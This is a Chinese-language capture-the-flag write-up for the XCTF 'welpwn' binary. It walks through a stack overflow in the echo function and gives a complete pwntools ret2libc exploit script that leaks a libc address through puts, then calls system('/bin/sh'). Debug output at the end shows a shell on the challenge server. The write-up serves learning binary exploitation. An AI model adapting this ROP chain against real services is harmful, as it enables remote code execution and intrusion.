XCTF-CHALLENGE-WELPWM

1:checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec welpwn
[*] '/home/hunter/PWN/XCTF/xctf_challenge/welpwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位,开启NX防护

2:IDA

main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  write(1, "Welcome to RCTF\n", 16uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo(&buf, &buf);                             // 传入buf地址
  return 0;
}
这里buf距离RBP距离与read可以读入的大小相同,所以主函数不存在溢出

echo函数:
int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )    #这个for循环可以将buf中的字符逐个复制到数组s2中,截断条件是\x00
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )      #这个if完全没必要进去,可能是提醒你注意复制过程的截断问题
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

没有system,binsh存在,只有puts,read,write等函数,没有后门。看来我们得想办法泄露libc地址了

3:思路

在主函数中buf可以容下0x400个字节,但无法溢出。在echo函数中会对buf无限制复制,到s2数组中,当然只要不出现\x00。所以要在main函数中好好构造payload。
在main函数中输入时:’A’16 + ‘A’8 + p64(destination).这就应该能跳转到我们的目的地址。我们要达到的目的是泄露某个函数真正的地址,从而获得libc版本,地址,进而获得system,binsh地址。

payload位置问题

这差不多是一个ret2libc问题,所以payload上构造的函数,参数少不了。那么问题是echo函数中只有一个大小为16的数组肯定,我们构造的payload的关键函数无法放在那里。那我们来看看栈的分布情况。

main函数全部的汇编
push    rbp
mov     rbp, rsp
sub     rsp, 400h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov     edx, 10h        ; n
mov     esi, offset aWelcomeToRctf ; "Welcome to RCTF\n"        #可以看到除了开始部分,下面的代码并没有改变RBP和RSP
mov     edi, 1          ; fd
call    _write
mov     rax, cs:__bss_start
mov     rdi, rax        ; stream
call    _fflush
lea     rax, [rbp+buf]
mov     edx, 400h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     rdi, rax
call    echo
mov     eax, 0
leave
retn

echo函数前部分汇编
var_18= qword ptr -18h
s2= byte ptr -10h
; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 20h
mov     [rbp+var_18], rdi
mov     cs:i, 0

可以看到这两个函数的栈分布应该是很普通的:

我们在main函数中构造的payload,会被echo函数复制到它的栈空间,以此我们可以把返回地址覆盖成我们想要的,但只能复制一个地址。因为p64(地址)会出现\x00截断。不过通过这个设计漏洞我们可以控制程序流程。

流程控制问题

现在关键在于返回地址我们要覆盖成什么地址。我们知道在buf中前24个字符是padding,被复制给s2数组。下面就是我们覆盖地址。覆盖地址下面还可以构造函数,所以得返回到buf。
前面24个padding+一个地址 会占用4个栈帧,我们可以pop掉。

所以payload = ‘A’*24 + p64(pop_4_ret) + p64(pop_rdi_ret) + p64(got) +p64(puts_ptl) + p64(main)
pop 4次后程序就流会被p64(pop_rdi_ret) + p64(got) +p64(puts_ptl) + p64(main)控制,输出某一个函数的正真地址,这是第一次攻击,然后返回到main函数我们可以以类似的方式构造payload来 执行system binsh。
这里用puts来输出地址,没用write,因为找不到pop rdx 这个gadget。

一开始我就是卡在了如何把前面的padding pop掉的问题,没想到直接可以找一个pop4次的地址来跳转。

4:寻找gadgets

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary welpwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret        #选这个保险没有涉及到关键寄存器
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret                                   #这个要用来pop  rdi参数
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd

5:EXP

我写的EXP巨丑

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

elf = ELF('welpwn')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
print hex(libc_start_main_got)
print "puts_plt==>" + hex(puts_plt)
#gadgates
#0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
#0x00000000004008a3 : pop rdi ; ret
#0x0000000000400589 : ret   #遇到system调用的堆栈平衡问题了

#sh = process('./welpwn')
sh = remote('220.249.52.133',41564)
sh.recv()

payload1 = 'A'*24 + p64(0x0040089c) +p64(0x04008a3) + p64(libc_start_main_got) + p64(0x4005a0) + p64(main)   #第一次攻击

#payload = p64(0x00000000004008a3)
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAA')
print sh.recv(3)
libc_start_main = u64(sh.recv(6)+'\x00'+'\x00')
print hex(libc_start_main)

libc = LibcSearcher('__libc_start_main',libc_start_main)
libc_addr = libc_start_main - libc.dump('__libc_start_main')
print "libc_addr==>" + hex(libc_addr)

system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')

print sh.recv()
payload2 = 'A'*24 + p64(0x0040089c) +p64(0x04008a3) + p64(binsh_addr)    #第二次攻击
payload2 += p64(0x0400589)
payload2 += p64(system_addr)

#gdb.attach(sh)
sh.sendline(payload2)

sh.interactive()


结果:
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  9c 08 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000020  a3 08 40 00  00 00 00 00  9a 2e 4e 90  93 7f 00 00  │··@·│····│·.N·│····│
    00000030  89 05 40 00  00 00 00 00  40 e4 37 90  93 7f 00 00  │··@·│····│@·7·│····│
    00000040  0a                                                  │·│
    00000041
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

这个题,漏洞在其他函数而payload构造在主函数。


  转载请注明: Squarer XCTF-CHALLENGE-WELPWM

  目录